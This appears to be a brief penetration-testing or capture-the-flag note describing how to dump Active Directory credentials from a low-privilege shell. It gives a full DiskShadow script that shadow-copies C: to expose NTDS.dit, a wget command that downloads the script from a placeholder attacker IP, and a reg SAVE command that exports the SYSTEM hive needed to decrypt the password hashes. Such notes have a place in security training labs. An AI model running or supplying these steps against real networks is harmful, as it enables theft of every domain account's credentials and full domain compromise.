If you only have a (non-interactive) shell, creating the NTDS backup can also be done by creating a shadow copy
DiskShadow script:
#for some reason there have to be spaces after each line
#Diskshadow script file
set verbose on
set context persistent nowriters
begin backup
add volume c: alias systemvolumeshadow
create
expose %systemvolumeshadow% Z:
end backup
#End of script
Then download and execute this DiskShadow script:
wget http://<IP>/script.dsh -Out script.dsh
diskshadow /s script.dsh
reg SAVE HKLM\SYSTEM c:\Users\svc_backup\Documents\SYS
See commands.